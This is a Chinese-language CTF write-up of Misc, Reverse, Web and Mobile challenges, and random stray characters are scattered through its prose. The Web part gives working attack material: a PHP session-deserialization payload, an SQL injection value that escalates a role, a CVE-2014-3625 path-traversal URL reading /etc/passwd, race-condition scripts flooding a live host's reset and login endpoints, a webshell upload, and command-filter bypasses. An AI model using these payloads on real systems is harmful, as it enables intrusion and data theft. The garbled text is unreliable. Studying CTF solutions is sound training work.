謎一般的比賽茅信。盾舌。
題目實(shí)在是太多了,而且時(shí)間還只有一天=汹押。=矿筝,還好在最后沖到了第六。棚贾。窖维。
一、Misc
stage1:
拿到圖片妙痹,使用Stegsolve.jar铸史,在gray panel發(fā)現(xiàn)一個(gè)反色二維碼,使用mac預(yù)覽實(shí)現(xiàn)反色怯伊。
之后后掃描得到一串十六進(jìn)制數(shù)琳轿。
03F30D0AB6266A576300000000000000000100000040000000730D0000006400008400005A00006401005328020000006300000000030000000800000043000000734E0000006401006402006403006404006405006406006405006407006708007D00006408007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100712B00577C010047486400005328090000004E6941000000696C000000697000000069680000006961000000694C0000006962000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007307000000746573742E7079520300000001000000730A00000000011E0106010D0114014E280100000052030000002800000000280000000028000000007307000000746573742E707974080000003C6D6F64756C653E010000007300000000
發(fā)現(xiàn)頭部03F30D0A
是pyc的magic number,于是python導(dǎo)入后執(zhí)行dir發(fā)現(xiàn)有一個(gè)flag函數(shù)耿芹,執(zhí)行后得到flag崭篡。
revereMe
觀察到頭尾發(fā)現(xiàn)反序jpg的magic number(FF D8和FF D9),用python將字節(jié)逆過來即可看到flag圖片吧秕。
f=open('b','wb')
f.write(open('a','rb').read()[::-1])
test.pyc
用dis和uncompile2查看pyc發(fā)現(xiàn)flag3函數(shù)的邏輯琉闪,將給出字符串逆過來解base64再逆過來并且每個(gè)字符減一即可。
a = '=cWbihGfyMzNllzZ0cjZzMWN5cTM4YjYygTOycmNycWNyYmM1Ujf'
import base64
print ''.join(map(lambda x: chr(ord(x)-1), base64.b64decode(a[::-1])))[::-1]
二砸彬、Reverse
Hackme:
hackme題目給出了一個(gè)64位的二進(jìn)制程序颠毙,可以在linux下運(yùn)行斯入,運(yùn)行結(jié)果如下:
Give me the password: aaaa
Oh no!
那么這個(gè)題目應(yīng)該就是讓我們找一個(gè)能通過的pasword啦。
去ida里邊打開題目分析看看蛀蜜,首先查看字符串刻两,發(fā)現(xiàn)有這么一個(gè)看起來很厲害的字符串:
.rodata:00000000004881BE 00000009 C Congras\n
一看就讓人覺得這就是通過之后的樣子,于是跟過去看看滴某,簡單的做一下分析磅摹,可以得到這么一個(gè)函數(shù):
__int64 __fastcall main(__int64 a1, char *password)
{
char input_pas[136]; // [sp+10h] [bp-B0h]@1
int v4; // [sp+98h] [bp-28h]@12
char v5; // [sp+9Fh] [bp-21h]@8
int v6; // [sp+A0h] [bp-20h]@5
unsigned __int8 input_char; // [sp+A6h] [bp-1Ah]@5
char original_bytes; // [sp+A7h] [bp-19h]@5
int v9; // [sp+A8h] [bp-18h]@5
int v10; // [sp+ACh] [bp-14h]@5
int v11; // [sp+B0h] [bp-10h]@5
int ten_times; // [sp+B4h] [bp-Ch]@4
int check_result; // [sp+B8h] [bp-8h]@4
int length; // [sp+BCh] [bp-4h]@1
printf("Give me the password: ");
scanf("%s", my_pass);
for ( length = 0; my_pass[length]; ++length )
;
is_right = length == 22;
cnt = 10;
do
{
v9 = (signed int)sub_406D90() % 22;
v11 = 0;
compareByte = fileBytes[(signed __int64)v9];
aChar = my_pass[v9];
v6 = v9 + 1;
v10 = 0;
while ( v10 < v6 )
{
++v10;
v11 = 0x6D01788D * v11 + 12345;
}
v5 = v11 ^ aChar;
if ( compareByte != ((unsigned __int8)v11 ^ aChar) )
check_result = 0;
--cnt;
}
while ( cnt );
if ( is_right )
v4 = printf("Congras\n", password);
else
v4 = printf("Oh no!\n", password);
return 0LL;
}
邏輯還是比較簡單的,唯一一個(gè)比較神奇的地方是sub_406D90霎奢,實(shí)在是不知道是啥偏瓤,不過根據(jù)猜測,
我覺得他得到的數(shù)不應(yīng)該是變化的椰憋,不然題目的答案就不固定了,so赔退,調(diào)試了一下發(fā)現(xiàn)真的是固定的橙依。
那么剩下的任務(wù)就是把這個(gè)函數(shù)抄下來了,一個(gè)又去的地方是v5那兒硕旗,v5的亦或窗骑,其實(shí)也就是最后和
compareByte比較的那個(gè),亦或是可逆的漆枚,所以按照他這里的比較创译,compareByte = v11 ^ aChar
因?yàn)?v11 ^ aChar ^ v11 = aChar,所以如果得到compareByte和v11了墙基,就可以得到正確的數(shù)了软族。
v11的值和v16有關(guān),v6和v9有關(guān)残制,v9的值其實(shí)是固定的立砸,而且我抄了幾個(gè)發(fā)現(xiàn)沒啥規(guī)律,大致思考了一下初茶,
v9的數(shù)其實(shí)是沒有關(guān)系的颗祝。v9只要小于22就行了,因?yàn)閮蓚€(gè)v9一樣使得比較的位置一樣恼布,那么v11也一樣螺戳,
所以v9只要從0到21就可以了,所以有這個(gè)思路折汞,用C寫一個(gè)算一遍就好了
#include <stdio.h>
char *cmp = "\x5f\xf2\x5e\x8b\x4e\x0e\xa3\xaa\xc7\x93\x81\x3d\x5f\x74\xa3\x09"
"\x91\x2b\x49\x28\x93\x67";
int main() {
for (int i = 0; i < 22; i++) {
char to_cmp = cmp[i];
int v10 = 0;
int v6 = i + 1;
int v11 = 0;
while (v10 < v6) {
v10 ++;
v11 = 0x6d01788d * v11 + 12345;
}
printf("%c", (char)v11 ^ to_cmp);
}
return 0;
}
最后flag: flag{d826e6926098ef46}
debug.exe
用jeb觀察邏輯倔幼,發(fā)現(xiàn)過一個(gè)check就行,根據(jù)邏輯寫出下面exp得到flag
def trans(a, b):
return [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113][b]^a
print trans(1,10)
def cal(a, b):
for i in a:
i = ord(i)
for j in range(1,15):
i = trans(i, j)
b += chr(i)
return b
import hashlib
b = cal('CreateByTenshine','')
m = hashlib.md5()
m.update(b)
print 'flag{' + m.hexdigest().upper() + '}'
三字支、Web
PHP序列化:
可以直接看到index.php的源碼:
<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
$_SESSION['src'] = $_GET['src'];
highlight_file(__FILE__);
print_r($_SESSION['src']);
}
?>
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>代碼審計(jì)2</title>
</head>
<body>
在php中凤藏,經(jīng)常會(huì)使用序列化操作來存取數(shù)據(jù)奸忽,但是在序列化的過程中如果處理不當(dāng)會(huì)帶來一些安全隱患。
<form action="./query.php" method="POST">
<input type="text" name="ticket" />
<input type="submit" />
</form>
<a href="./?src=1">查看源碼</a>
</body>
</html>
然后訪問query.php的時(shí)候提示:
Look me: edit by vim 0
試了一下vim備份文件的后綴揖庄,query.php~可以讀到源碼:
//query.php 部分代碼
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
public $token;
public $ticket;
public $username;
public $password;
function login(){
//if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
$this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
return 'key is:{'.$this->token.'}';
}
}
}
class TOPB{
public $obj;
public $attr;
function __construct(){
$this->attr = null;
$this->obj = null;
}
function __toString(){
$this->obj = unserialize($this->attr);
$this->obj->token = $FLAG;
if($this->obj->token === $this->obj->ticket){
return (string)$this->obj;
}
}
}
class TOPC{
public $obj;
public $attr;
function __wakeup(){
$this->attr = null;
$this->obj = null;
}
function __destruct(){
echo $this->attr;
}
}
很明顯需要序列化栗菜。在index.php里面設(shè)置了php的序列化handler是'php_serialize',而query.php里面沒有設(shè)置蹄梢,也就是默認(rèn)的'php'疙筹,所以可以利用session反序列化調(diào)用query.php里面的類。
只有TOPC有echo禁炒,分析了一下而咆,構(gòu)造順序應(yīng)該是:
TOPC > TOPB > TOPA
其中有幾個(gè)點(diǎn):
1. __wakeup可以通過改變屬性數(shù)目大于實(shí)際數(shù)目繞過
2. 通過建立引用關(guān)系使得$this->obj->token和$this->obj->ticket保持相等
3. username和password可以直接取0,0弱等于字符串
試了一下幕袱,感覺線上的源碼不太一樣暴备,會(huì)調(diào)用login,并且反序列化的時(shí)候會(huì)先反序列化內(nèi)層的
構(gòu)造payload:
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
在index.php設(shè)置一下session们豌,再訪問query.php就行了
spring-css:
google了一下涯捻,有一個(gè)CVE的洞cve-2014-3625
鏈接里面有exp,讀一下/etc/passwd望迎,發(fā)現(xiàn):
flag:x:1000:1000:Linux User,,,:/home/flag:/etc/flag
根據(jù)提示再讀/etc/flag
http://218.2.197.232:18015/spring-css/resources/file:/etc/flag
注入越權(quán):
源碼有提示:
<!--
2015.10.16
防越權(quán)改造障癌,當(dāng)uid=0且role=admin時(shí)顯示管理員頁面。
-->
發(fā)現(xiàn)uid可以直接修改辩尊,修改role不行涛浙,輸引號會(huì)被mysql_escape_string攔 。
試了一下發(fā)現(xiàn)uid輸反引號會(huì)報(bào)錯(cuò)摄欲,看了一下大概是update語句轿亮,所以可以注入設(shè)置role,引號不能用胸墙,就用admin的十六進(jìn)制代替哀托,也就是
uid=0,role=0x61646d696e
修改后返回原頁面,得到flag
條件競爭:
題目給了源碼劳秋,看了一下在reset密碼時(shí)存在條件競爭漏洞仓手,reset時(shí)有兩步:
- 先將該用戶信息清空并新插入一條信息,這時(shí)notadmin為False
- 然后再將notadmin設(shè)置為True
那么只要在第二步之前登錄即可玻淑,所以跑兩個(gè)程序嗽冒,一個(gè)reset,一個(gè)login即可补履,我這里分別開了15個(gè)協(xié)程:
reset.py
import requests
from gevent import monkey
import gevent
monkey.patch_all()
def reset():
for i in range(100):
cookies = {'PHPSESSID':'crr472f26gv9ef64rcu39obu01'}
a = requests.post("http://218.2.197.232:18009/index.php?method=reset",data={'name':'c610599c37103bf5','password':'zzm'},cookies=cookies).text
print(a)
tasks = [gevent.spawn(reset) for i in range(15)]
gevent.joinall(tasks)
login.py
import requests
from gevent import monkey
import gevent
monkey.patch_all()
def login():
for i in range(100):
cookies = {'PHPSESSID':'crr472f26gv9ef64rcu39obu01'}
b = requests.post("http://218.2.197.232:18009/login.php?method=login",data={'name':'c610599c37103bf5','password':'zzm'},cookies=cookies).text
print(b)
tasks = [gevent.spawn(login) for i in range(15)]
gevent.joinall(tasks)
很快就能讀到flag:
讀文件:
只給了個(gè)1.txt可以讀添坊,試了一下加*不行,感覺不是命令執(zhí)行箫锤,"../"返回上級目錄也不行贬蛙,猜測可能過濾了什么雨女,在1.txt中間加上"./"發(fā)現(xiàn)仍能讀取罢低,說明"./"被過濾了束凑,構(gòu)造payload,在上級目錄的flag.php的注釋里讀到flag
Web綜合:
發(fā)現(xiàn)有.svn泄露,下載下來sqlite數(shù)據(jù)庫文件边坤,找到settings.inc.php的checksum野蝇,然后在
http://218.2.197.232:18007/.svn/pristine/c6/c63308801a9ec3b0c1aea96b061c00b1666adebb.svn-base
可以讀到源代碼讼稚,源碼里有admin的密碼,登陸上去可以上傳圖片绕沈,這里上傳一個(gè)圖片馬就行了锐想,只驗(yàn)證了content-type,菜刀連上去后乍狐,在07目錄下找到f1a9.php
RCE繞過:
命令前后需要空格赠摇,但是被過濾,用%0a繞過浅蚪,命令中的空格就不行了蝉稳,fuzz一下,發(fā)現(xiàn)%09可以掘鄙。另外"."也被過濾了,可以用*嗡髓,于是直接讀到flag.php:
JAVA序列化:
網(wǎng)上找了個(gè)JAVA序列化的例子操漠,推測了一下大概的格式,然后把題目的object的id和name對應(yīng)修改一下饿这,再Base64就OK了
rO0ABXNyAA9jb20uY3RmLmNuLlVzZXIAAAAAA/kvvQIAAkwAAmlkdAATTGphdmEvbGFuZy9JbnRlZ2VyO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABdAAFYWRtaW4=
變態(tài)驗(yàn)證碼怎么過:
網(wǎng)上搜了一下幾種繞驗(yàn)證碼的方式浊伙,都試了一下,發(fā)現(xiàn)只要第一次輸對了驗(yàn)證碼长捧,后面直接把驗(yàn)證碼設(shè)為空串就行了嚣鄙,然后用Burp和他給的password.txt爆破一下就行了
Forbidden:
注釋提示要本機(jī)訪問,各種改頭部沒用串结,后來發(fā)現(xiàn)改成localhost才行哑子,也是醉了,然后后續(xù)每次修改都會(huì)有個(gè)提示肌割,改Host啊卧蜓,改Referer,改UA什么的把敞,一步一步來就能得到最后flag
熱身題:
掃了一下目錄發(fā)現(xiàn)robots.txt弥奸,挨個(gè)讀了一下里面的文件,最后在rob0t.php里面讀到flag
四奋早、Mobile
APK逆向
逆向看MainActivity盛霎,發(fā)現(xiàn)在checkSN中用輸入與flag作比較
在對應(yīng)點(diǎn)打斷點(diǎn)
動(dòng)態(tài)調(diào)試赠橙,斷下來后就是flag
APK逆向2
Jeb查看manifest文件報(bào)錯(cuò)
解壓出AndroidManifest.xml,用010Editor查看愤炸,即可得flag